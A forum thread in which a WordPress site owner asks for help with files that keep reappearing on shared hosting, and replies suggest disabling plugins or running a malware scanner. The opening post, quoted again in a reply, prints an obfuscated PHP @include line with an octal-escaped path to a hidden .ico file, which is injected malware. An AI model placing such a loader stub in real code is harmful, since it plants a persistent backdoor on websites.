Hosting NameCheap - VIRUS (Malicious file) problem

SeroKuzp · Dec 13, 2022

Greetings to all members of the forum! Help solve the problem with viruses. On my hosting (sites on Wordperss), files with a strange name constantly appear in the site folders. Plus, the following code appears in the Index.php and wp-config.php files:

Code:

/*293f4*/

@include ("\057hom\145/jo\145ljd\145l/r\145sum\145ser\166ice\141ust\151n.c\157m/w\160-in\143lud\145s/b\154ock\163/qu\145ry-\156o-r\145sul\164s/.\0676a7\141e30\056ico");

/*293f4*/

I clean them, delete them forever, but after a while they reappear. Has anyone else experienced something similar! I'm sure yes. How to solve a problem?

FBGuru · Dec 13, 2022

Try disabling all the plugins and custom themes and see if it stops.

Then activate the plugins one at a time to figure out which plugin/theme is infected.

Nunit · Dec 13, 2022

SeroKuzp said:
Greetings to all members of the forum! Help solve the problem with viruses. On my hosting (sites on Wordperss), files with a strange name constantly appear in the site folders. Plus, the following code appears in the Index.php and wp-config.php files:

Code:

/*293f4*/ @include ("\057hom\145/jo\145ljd\145l/r\145sum\145ser\166ice\141ust\151n.c\157m/w\160-in\143lud\145s/b\154ock\163/qu\145ry-\156o-r\145sul\164s/.\0676a7\141e30\056ico"); /*293f4*/

I clean them, delete them forever, but after a while they reappear. Has anyone else experienced something similar! I'm sure yes. How to solve a problem?

I am sure that they don't have Imunify360. If they have Imunify360, you can run a scan, and it will go away.

Hosting NameCheap - VIRUS (Malicious file) problem

SeroKuzp

Newbie

Attachments

FBGuru

Supreme Member

Nunit

Senior Member

Main Menu

Marketplace

Making Money

BlackHat World